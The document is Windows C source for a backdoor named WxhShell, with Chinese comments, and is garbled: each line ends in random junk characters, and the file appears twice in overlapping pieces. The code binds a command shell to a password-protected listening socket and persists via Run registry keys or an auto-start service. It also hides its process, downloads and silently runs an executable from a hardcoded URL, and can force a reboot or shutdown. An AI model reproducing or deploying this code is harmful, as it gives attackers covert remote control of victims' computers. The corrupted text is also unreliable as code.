    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xf/<.5A  
    if(Boot(SHUTDOWN)) 7|?@\ZE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,V92-s;N  
    else { 6P[O8  
    closesocket(wsh); /[|md0,  
    ExitThread(0); 'm.XmVZL%  
    } t7`Pw33#kY  
    break; a!]QD`  
    } '/)_{Ly  
  // 获取shell +,w|&y  
  case 's': { iZqFVr&JF  
    CmdShell(wsh); o+WrIAR  
    closesocket(wsh); .Af)y_  
    ExitThread(0); YSUH*i/%  
    break; pzp"NKx i  
  } Zvw3C%In  
  // 退出 9MlfZsby  
  case 'x': { }qX&*DU_@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 74N\G1  
    CloseIt(wsh); Bwvc@(3v  
    break; [Z&s0f1Qb  
    } |gxB; GG  
  // 离开 kj"_Y"q=  
  case 'q': { WX$^[^=HC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rMFf8D(Y  
    closesocket(wsh); (N>ew)Ke  
    WSACleanup(); CX2q7azG  
    exit(1); a[9OtZX<  
    break; uS10P7N}  
        } 9>Z#o<*_/  
  } ])";Z  
  } YQd&rkr  
bI0+J)  
  // 提示信息 &:{yf=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,> EY9j  
} K>~cY%3^i  
  } EJ|ZZYke!  
!ZcA Ltq  
  return; Cjb p-  
} !ef)Ra-W  
V0&QEul  
// shell模块句柄 X-^Oz@.>  
int CmdShell(SOCKET sock) 8o!^ZOmU<  
{ y#W8] <dS"  
STARTUPINFO si; :fQ*'m,  
ZeroMemory(&si,sizeof(si)); e?fjX-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KFrmH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AxQ/  
PROCESS_INFORMATION ProcessInfo; yodrX&"  
char cmdline[]="cmd"; OnJSu z>-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Qd'=JQl  
  return 0; *qOCo_=P8  
} ;a77YL TQ  
&3/H P)*<]  
// 自身启动模式 YLd%"H $n  
int StartFromService(void) `I<|*vW u  
{ enepAu-="p  
typedef struct O!yn `< l  
{ ^^(ZK 6d  
  DWORD ExitStatus; _!Q\Xn  
  DWORD PebBaseAddress; akoKx)(<  
  DWORD AffinityMask; ZdzGJ[$  
  DWORD BasePriority; 4v JIO{m  
  ULONG UniqueProcessId; +Uk.|@b=-V  
  ULONG InheritedFromUniqueProcessId; U7'oI;C$e  
}   PROCESS_BASIC_INFORMATION; wB GxJ\+M  
d'J?QH!N0  
PROCNTQSIP NtQueryInformationProcess; N%i<DsK.u6  
9~ af\G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1T`"/*!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Tkdr 2  
0Jif.<  
  HANDLE             hProcess; =ZL2 0<TeH  
  PROCESS_BASIC_INFORMATION pbi; ^(B*AE.  
"61n?Z#,M[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sZ$ ~abX  
  if(NULL == hInst ) return 0; 8=Ht+Br  
/! 3:K<6@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L4-Pq\2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <6$%Y2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 06O  
0\ ;a:E.c  
  if (!NtQueryInformationProcess) return 0; t0(hc7`  
,5WDYk-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |e(x< [s5  
  if(!hProcess) return 0; L0~O6*bk  
s2kynQ#a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MeS$+9jV(  
2F]MzeW  
  CloseHandle(hProcess); s o s&  
34+}u,=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fb-TCq1y#  
if(hProcess==NULL) return 0; 9|DC<Zn&B#  
;c}];ZU3G  
HMODULE hMod; +r"$?bw '  
char procName[255]; W5{e.eI}|  
unsigned long cbNeeded; Ss}0.5Bq  
b@Cvs4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8tk`1E8!j  
HDxw2nz*R  
  CloseHandle(hProcess); &*SnDuc  
!ZdUW]  
if(strstr(procName,"services")) return 1; // 以服务启动 p:))ne:7  
|+''d  
  return 0; // 注册表启动 06 1=pV$CJ  
} QI<3N  
WDR!e2G  
// 主模块 nrS_t y  
int StartWxhshell(LPSTR lpCmdLine) G}*B`m  
{ :4d7%q  
  SOCKET wsl; :gC2zv  
BOOL val=TRUE; 5#PhaVc  
  int port=0; tp&iOP6O  
  struct sockaddr_in door; 4dAhJjhgD  
}+1oD{  
  if(wscfg.ws_autoins) Install(); x.Y,]wis  
Qa+gtGtJ  
port=atoi(lpCmdLine); UQ?8dw:E~  
?HTwTi 5!)  
if(port<=0) port=wscfg.ws_port; /|f]L9)2<  
e^TF.D?RS  
  WSADATA data; hW&UG#PY>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1g+<`1=KT  
Y'9deX+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \8ZNXCP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -D(!B56_  
  door.sin_family = AF_INET; E83nEUs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cz%ih#^b  
  door.sin_port = htons(port); |Sq>uC)  
$G[##j2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { he #iWD'  
closesocket(wsl); C/=ZNl9"fn  
return 1; 25r=Xv  
} I6_+3}Hm{  
C'#:}]@E  
  if(listen(wsl,2) == INVALID_SOCKET) { kLP^q+$u)!  
closesocket(wsl); sBMHf9u  
return 1; ej `$-hBBV  
} Yaqim<j  
  Wxhshell(wsl); fz*6 B NJ  
  WSACleanup(); kCV OeXv  
DQd&:J@?  
return 0; 8*X8U:.0o  
ewY X\  
} "fdG5|NJe  
{H74`-C)W  
// 以NT服务方式启动 < jF<_j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Coh &g_  
{ *0@e_h  
DWORD   status = 0; /VQ<}S[k}-  
  DWORD   specificError = 0xfffffff; x,+zw9  
 hT[O5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vEkz 5$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rcOmpgew  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ p.23G]x  
  serviceStatus.dwWin32ExitCode     = 0; R\^tr  
  serviceStatus.dwServiceSpecificExitCode = 0; [(XKqiSV  
  serviceStatus.dwCheckPoint       = 0; X%sc:V  
  serviceStatus.dwWaitHint       = 0; 4Bz~_   
Y]PZ| G)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !TcjB;q'  
  if (hServiceStatusHandle==0) return; "F&uk~ b$  
827N?pU$)  
status = GetLastError(); |8"HTBb\CW  
  if (status!=NO_ERROR) ofJ@\xS  
{ J7H1<\=cJb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G+ToZ&f@  
    serviceStatus.dwCheckPoint       = 0; e=U7w7(s9  
    serviceStatus.dwWaitHint       = 0; Yi:+,-Fso  
    serviceStatus.dwWin32ExitCode     = status; qXW 5_iX  
    serviceStatus.dwServiceSpecificExitCode = specificError; @4pN4v8U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); chy7hPxC;  
    return; )u$A!+fo  
  } N.]8qzW  
=B\ ?(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hn-S$3')`  
  serviceStatus.dwCheckPoint       = 0; ;rX4${h  
  serviceStatus.dwWaitHint       = 0; X!m/I i$q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ty ~U~  
} ^t"\PpmK<d  
AbB%osz}Ed  
// 处理NT服务事件,比如:启动、停止 >.A{=?   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2&M 8Wb#  
{ UX6-{ RP  
switch(fdwControl) 28-@Ga4  
{ *k/_p ^  
case SERVICE_CONTROL_STOP: jm!G@k6TA  
  serviceStatus.dwWin32ExitCode = 0; W;1Hyk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CzgLgh;:T  
  serviceStatus.dwCheckPoint   = 0; 0R.@\?bhL  
  serviceStatus.dwWaitHint     = 0; +ad 2  
  { 2 IGAZ%%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MkQSq MU=  
  } Kxg09\5i  
  return; rei<{woX  
case SERVICE_CONTROL_PAUSE: ,,?t>|3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a}yJ$6xi  
  break; {x+jFj.  
case SERVICE_CONTROL_CONTINUE: _+GCd8d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d(tq;2-  
  break; /<@oUv  
case SERVICE_CONTROL_INTERROGATE: ?D#Vha  
  break; ']V 2V)t  
};  h /on  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQ<V_loP.@  
} [bAv|;  
m2_B(-  
// 标准应用程序主函数 W6Hiqu+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (t <Um Vd  
{ Tsa&R:SE  
9s}--_k?F2  
// 获取操作系统版本 7%X$6N-X  
OsIsNt=GetOsVer();  #/n\C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |XQ!xFB  
'1d-N[  
  // 从命令行安装 P/27+5(|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8g<3J-7Mm  
^ H'|iju  
  // 下载执行文件 $Uzc  
if(wscfg.ws_downexe) { @r#>-p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &.d~ M1Mz  
  WinExec(wscfg.ws_filenam,SW_HIDE); )ZT&V I  
} JV@>dK8  
ce@(Ct  
if(!OsIsNt) { -IPc;`<  
// 如果时win9x,隐藏进程并且设置为注册表启动 2rA`y8g(L  
HideProc(); 9khD7v   
StartWxhshell(lpCmdLine); hNQ,U{`;^  
} 6,k}v:  
else !dZHG R  
  if(StartFromService()) EPyFM_k  
  // 以服务方式启动 MVV<&jho{^  
  StartServiceCtrlDispatcher(DispatchTable); Zcc6E2  
else xX}vx hN  
  // 普通方式启动 z*:^*,  
  StartWxhshell(lpCmdLine); u ; I5n  
,#<"VU2bC  
return 0; sC/T)q2  
} \OOj]gAe  
vQA: \!  
tvP"t{C6,  
JTx&_Ok#  
=========================================== 't wMvm  
 pCv=rK@  
2+0'vIw}  
zp d4uto5  
A\WgtM  
%6 Bt%H  
" fuQ? @F  
Ehg5u'cj  
#include <stdio.h> d"$ \fL  
#include <string.h> R:11w#m7w  
#include <windows.h> HdVGkv/  
#include <winsock2.h> 6zyozJA  
#include <winsvc.h> 2&dtOyxo>  
#include <urlmon.h> )PZ'{S  
e KET8v[  
#pragma comment (lib, "Ws2_32.lib") 0?k/vV4  
#pragma comment (lib, "urlmon.lib") k0%4&pU  
ky,+xq  
#define MAX_USER   100 // 最大客户端连接数 &FGz53fd4  
#define BUF_SOCK   200 // sock buffer X|X6^}  
#define KEY_BUFF   255 // 输入 buffer 8eL[ ,uw  
V"gnG](2l  
#define REBOOT     0   // 重启 &AC-?R|Dp  
#define SHUTDOWN   1   // 关机 ;[&g`%-H<  
a Z ^SK|E  
#define DEF_PORT   5000 // 监听端口 WnA]gyc  
`XQM)A  
#define REG_LEN     16   // 注册表键长度 74QWGw`,  
#define SVC_LEN     80   // NT服务名长度 n ,`!yw  
iz>a0~(K  
// 从dll定义API 6X)8vQH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C)Mh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G.1pg]P!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M++*AZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &`{%0r[UD#  
87y$=eZ  
// wxhshell配置信息 Jo_h?{"L{  
struct WSCFG { aHS.U^2  
  int ws_port;         // 监听端口 sy4$!,W:  
  char ws_passstr[REG_LEN]; // 口令 u[y>DPPx  
  int ws_autoins;       // 安装标记, 1=yes 0=no W +C\/  
  char ws_regname[REG_LEN]; // 注册表键名 R/U"]Rc  
  char ws_svcname[REG_LEN]; // 服务名 PoQ@9 A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u.R:/H<>~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OE W IP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mq >Ag  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "@DCQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W.{#Pg1Da  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XswEAz0=  
(q*Za  
}; ,:j^EDCsaJ  
Gb\}e}TB[  
// default Wxhshell configuration p<tj6O  
struct WSCFG wscfg={DEF_PORT, }fUV*U:3  
    "xuhuanlingzhe", 's+ Fd~ '  
    1, TAIcp*)ZM  
    "Wxhshell", 5Y JLR;  
    "Wxhshell", Lr_+) l  
            "WxhShell Service", |{<g-)  
    "Wrsky Windows CmdShell Service", %mg |kb6n  
    "Please Input Your Password: ", =D<46T=(RB  
  1, 1vu=2|QN  
  "http://www.wrsky.com/wxhshell.exe", UPA))Iv>  
  "Wxhshell.exe" hI]KT a  
    }; =k'3rm*ld  
aV,>y"S  
// 消息定义模块 c"v#d9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >?'cZTNk]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~"iCx+pr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (F +if  
char *msg_ws_ext="\n\rExit."; % =br-c  
char *msg_ws_end="\n\rQuit.";  Hi|'  
char *msg_ws_boot="\n\rReboot..."; %BC*h}KGH  
char *msg_ws_poff="\n\rShutdown..."; +kmPQdO;*/  
char *msg_ws_down="\n\rSave to "; x/R|i%u-s  
l0 r Zril  
char *msg_ws_err="\n\rErr!"; {eMu"<  
char *msg_ws_ok="\n\rOK!"; ma?$@ ]`k  
r. =_=V/t  
char ExeFile[MAX_PATH]; lmgMR|v  
int nUser = 0; T[*=7jnJQ  
HANDLE handles[MAX_USER]; 7JQ5OC3  
int OsIsNt; UXnd~DA  
z{7&=$  
SERVICE_STATUS       serviceStatus; *4dA(N\k"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p (:\)HP)R  
8(\Az5%  
// 函数声明 [89#8|+  
int Install(void); (Rve<n6{A  
int Uninstall(void); : DCj2"  
int DownloadFile(char *sURL, SOCKET wsh); pTX{j=n!  
int Boot(int flag); /|bir6Y:  
void HideProc(void); 7_?:R2]n  
int GetOsVer(void); HFB2ep7N  
int Wxhshell(SOCKET wsl);  ZOi8)Y~  
void TalkWithClient(void *cs); |JtdCP{  
int CmdShell(SOCKET sock); FU E/uh  
int StartFromService(void); [j`It4^nC  
int StartWxhshell(LPSTR lpCmdLine); ZjF$zVk  
~ucOQVmz@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .yd{7Te  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 80x %wCY`  
3 8m5&5)1F  
// 数据结构和表定义 Y, )'0O  
SERVICE_TABLE_ENTRY DispatchTable[] = nxA Y]Q  
{ Z;P[)q  
{wscfg.ws_svcname, NTServiceMain}, /#GX4&z  
{NULL, NULL} 'RC(ss1G  
}; =;9Wh!{  
Y7zg  
// 自我安装 s0~a5Ti3  
int Install(void) r=~yUT  
{ kVCS FF*  
  char svExeFile[MAX_PATH]; |[)t4A"}  
  HKEY key; =hH>]$J[  
  strcpy(svExeFile,ExeFile); k9vr6We'  
 I QS|  
// 如果是win9x系统,修改注册表设为自启动 lc,{0$ 1<  
if(!OsIsNt) { ={o>g '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s =! y%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'p80X^g  
  RegCloseKey(key); qH: ` O%,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \f}S Hh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &HNJ '  
  RegCloseKey(key); wWKC.N  
  return 0; ><mZOTn e;  
    } TxoMCN?7c  
  } be|k"s|6)  
} nw+L _b  
else { $6L gaz  
&.y:QVR,!  
// 如果是NT以上系统,安装为系统服务 BuCU_/H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MMqkNe  
if (schSCManager!=0) rUvqAfE&+  
{ Xp[[ xV|  
  SC_HANDLE schService = CreateService eu@-v"=w  
  ( gLa# y  
  schSCManager, d+[yW7%J  
  wscfg.ws_svcname, Cg?D<l4  
  wscfg.ws_svcdisp, Cg |_ ) _w  
  SERVICE_ALL_ACCESS, Oz# $x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3;zJ\a.+  
  SERVICE_AUTO_START,  ?}e8g  
  SERVICE_ERROR_NORMAL, Og4 X3QG  
  svExeFile, DN2K4%cM%'  
  NULL, >_!pg<{,  
  NULL, AU)"L_ i}  
  NULL, N)K};yMf  
  NULL, mT <4@RrB  
  NULL D}XyT/8G3  
  ); mk2T   
  if (schService!=0) #I|Vyufw  
  { ^o+2:G5z}  
  CloseServiceHandle(schService); bHH{bv~Z  
  CloseServiceHandle(schSCManager); *6s B$E_y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |\TOSaZ  
  strcat(svExeFile,wscfg.ws_svcname); 5"u-oE&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1&\_|2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GNS5v-"H  
  RegCloseKey(key); [u;]J*  
  return 0; IAf,TKfe  
    } %6j|/|#]  
  } @vh3S+=M  
  CloseServiceHandle(schSCManager); \$}xt`6p  
} OD-CU8X9  
} V@&zn8?  
^n!{ vHz  
return 1; iJv4%|9  
} b#(SDNo6  
>*(4evU  
// 自我卸载 UK*+EEv  
int Uninstall(void) Ir|Q2$W2^c  
{ {9vvj  
  HKEY key; dd>|1'-]  
:{pvA;f  
if(!OsIsNt) { []/=!?5B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y8HLrBTza  
  RegDeleteValue(key,wscfg.ws_regname); >d!w&0z>  
  RegCloseKey(key); O+%Y1=S[WQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Qgo0  
  RegDeleteValue(key,wscfg.ws_regname); 8W)3rD>  
  RegCloseKey(key); }0 0mJ]H(  
  return 0; 7Te`#"  
  } _6Wz1.]n  
} HK) $ls  
} j*t>CB4  
else { W?mn8Y;{`  
QMea2q|3$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %_;q<@9)  
if (schSCManager!=0) izsAn"v  
{ M7^PWC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [X0Wfb}{  
  if (schService!=0) Ck8`$x&t  
  { ^crk8O@Fw  
  if(DeleteService(schService)!=0) { H$zjN8||"  
  CloseServiceHandle(schService); 9a9<I  
  CloseServiceHandle(schSCManager); eUPG){"  
  return 0; '31pb9@fH  
  } jv>l6)  
  CloseServiceHandle(schService); +Gqh  
  } yx"xbCc#  
  CloseServiceHandle(schSCManager); )28Jz6.I  
} osyY+)G'sV  
} ,LKY?=T$z  
YNA %/  
return 1; ?6+GE_VZ  
} 6[,*2a8  
X[_w#Hwp-  
// 从指定url下载文件 *q_ .y\D  
int DownloadFile(char *sURL, SOCKET wsh) >DVjO9Kf  
{ u4bPj2N8I  
  HRESULT hr; (2(I|O#  
char seps[]= "/"; ]Cnj=\'  
char *token; #x$.  
char *file; o)F^0t  
char myURL[MAX_PATH]; 8~AO~  
char myFILE[MAX_PATH]; $J"}7+  
jo{[*]Oa  
strcpy(myURL,sURL); Y,I0o{,g  
  token=strtok(myURL,seps);  Q<B=m6~  
  while(token!=NULL) 7].tt  
  { a9 7A{7I&  
    file=token; [_*%  
  token=strtok(NULL,seps); PeEf=3  
  } :]iV*zo_  
*i|O!h1St  
GetCurrentDirectory(MAX_PATH,myFILE); NlXHOUw)u  
strcat(myFILE, "\\"); *2N$l>ql:k  
strcat(myFILE, file); \gaGTc2&  
  send(wsh,myFILE,strlen(myFILE),0); Ug*:o d  
send(wsh,"...",3,0); Os' 7h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rd|};-  
  if(hr==S_OK) GV#"2{t j  
return 0; EpSVHD:*  
else S~0 mY} m  
return 1; Ta`=c0  
,2q LiE>  
} J5h;~l!y  
.9{Sr[P  
// 系统电源模块 [U@#whEO  
int Boot(int flag) +!Q<gWb  
{ Zy _A3m{  
  HANDLE hToken; QyQ&xgS  
  TOKEN_PRIVILEGES tkp; hE0 p> R8  
&dp<i[ec^  
  if(OsIsNt) { Sx?IpcPSm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jR`q  y<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }D/0&<1  
    tkp.PrivilegeCount = 1; &Q 7Q1`S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JYA$_T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =UYZ){rt9E  
if(flag==REBOOT) { 4<fKB&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LnP={s  
  return 0; /=&HunaxI  
} Q laz3X,P  
else { f{MXH&d 1\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,<s'/8Ik  
  return 0; e2CjZ"C  
} :td6Mywl  
  } {jO:9O @  
  else { 'MH WNPG0  
if(flag==REBOOT) { p&~8N#I#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mu$9#[/  
  return 0;  vp7J';  
} '1{co/Y  
else { *m6~x-x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aF1i!Z  
  return 0; !PJD+SrG  
} (4=NKtA^G  
} 6=A   
NwbB\Wl  
return 1; U;p"x^U`  
} Lpd q^X  
^[6eo8Ck>  
// win9x进程隐藏模块 ,pL%,>R5  
void HideProc(void) |pxM8g1w  
{ qE?*:$  
%_C!3kKv~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6&/n/g  
  if ( hKernel != NULL ) sT:$:=  
  { ;zVtJG`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6qg_&woJ3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0.C[/u[  
    FreeLibrary(hKernel); dnt: U!TW@  
  } DU(QQ53  
fvnj:3RK  
return; }tue`">h  
} 60p*$Vqy  
OhMnG@@  
// 获取操作系统版本 '&?cW#J?  
int GetOsVer(void) wh8h1I  
{ A (z lX_  
  OSVERSIONINFO winfo; t@(S=i7}-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3>;zk#b2  
  GetVersionEx(&winfo); x&>zD0\ :\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q${0(#Nu  
  return 1; =yo?]ZS  
  else \`3YE~7J/  
  return 0; "cSH[/  
} V ':?rEN|  
zzOc # /  
// 客户端句柄模块 {]Tb  
int Wxhshell(SOCKET wsl) B^Y AKbY  
{ 6t@kft>Nv  
  SOCKET wsh; A'Q=Do E  
  struct sockaddr_in client; I- oY@l`  
  DWORD myID; pIcvsd  
HUUN*yikj  
  while(nUser<MAX_USER) b#\i]2b:  
{ *b#00)d  
  int nSize=sizeof(client); ]M%kt+u!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a&oz<4oT  
  if(wsh==INVALID_SOCKET) return 1; 2MS-e}mi  
}!-BZIOlO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V*]cF=W[A  
if(handles[nUser]==0) 9w\ yWxl  
  closesocket(wsh); 2P)*Y5`KBH  
else x[XN;W&  
  nUser++; ,pfHNK-u  
  } 6aC'\8{h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s*% pNE U  
R%l6+Okr  
  return 0; EG=~0j~  
} <_XyHb-  
JG6"5::  
// 关闭 socket cTlitf9  
void CloseIt(SOCKET wsh) @~WSWlQW  
{ G&ZpQ)  
closesocket(wsh); ?[<C,w~$`  
nUser--; YT:])[gVV  
ExitThread(0); 2Lravb3  
} e'%"G{(D  
PEA<H0  
// 客户端请求句柄 2|a@,TW}-  
void TalkWithClient(void *cs) j;%RV)e  
{ ;&="aD  
}t.J;(ff:  
  SOCKET wsh=(SOCKET)cs; 2Cy">Exl  
  char pwd[SVC_LEN]; eYSVAj  
  char cmd[KEY_BUFF]; 79}voDFd  
char chr[1]; 4-ijuqjN  
int i,j; 1 /@lZ  
g+CTF67  
  while (nUser < MAX_USER) { ::'DWD1  
MZ9{*y[z  
if(wscfg.ws_passstr) { N0U6N< w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T\}?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t4HDt\}&k~  
  //ZeroMemory(pwd,KEY_BUFF); St9+/Md=jQ  
      i=0; &dA{<.  
  while(i<SVC_LEN) { [Ol}GvzJ7  
#fT1\1[]  
  // 设置超时 ~r(/)w\  
  fd_set FdRead; (y^[k {#  
  struct timeval TimeOut; 2R W^Nqc9  
  FD_ZERO(&FdRead); Y<1]{4Wt  
  FD_SET(wsh,&FdRead); ';T=kS<^_  
  TimeOut.tv_sec=8; #p<1@,  
  TimeOut.tv_usec=0; fg[]>:ZT.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SU. 9;I !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `8 Q3=^)3  
gD$bn=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  x!)[l;  
  pwd=chr[0]; m5Q?g8  
  if(chr[0]==0xd || chr[0]==0xa) { /%O+]#$`0  
  pwd=0; ^uG^XY&ItC  
  break; Ed&;d+NM  
  } W=Y?_Oz  
  i++; 3RYg-$NK[  
    } Xgq-r $O2X  
"l83O8 L  
  // 如果是非法用户,关闭 socket ZAK NyA2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ykq9]Xqhv  
} >$^v@jf  
Y@&1[Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {R5{v6m_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s> d /9 b  
X9:4oMux7  
while(1) { g7>p,  
p xj}%LH  
  ZeroMemory(cmd,KEY_BUFF); s#f6qj  
I @sXmC2$\  
      // 自动支持客户端 telnet标准   CqF= 5z:A  
  j=0; ]m ED3#  
  while(j<KEY_BUFF) { t,CC~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <OYy ;s  
  cmd[j]=chr[0]; x{=@~c%eh  
  if(chr[0]==0xa || chr[0]==0xd) { hu=b ,  
  cmd[j]=0; nMz~.^Q-  
  break; B Q) 1)8r  
  } y7&8P8R  
  j++; [ij8h,[~]  
    } _dg2i|yP<  
S`N_},  
  // 下载文件 2!UNFv#=$  
  if(strstr(cmd,"http://")) { C}})dL;(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \1^qfw  
  if(DownloadFile(cmd,wsh)) N.j?:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~\0uy3%  
  else T*m;G(  
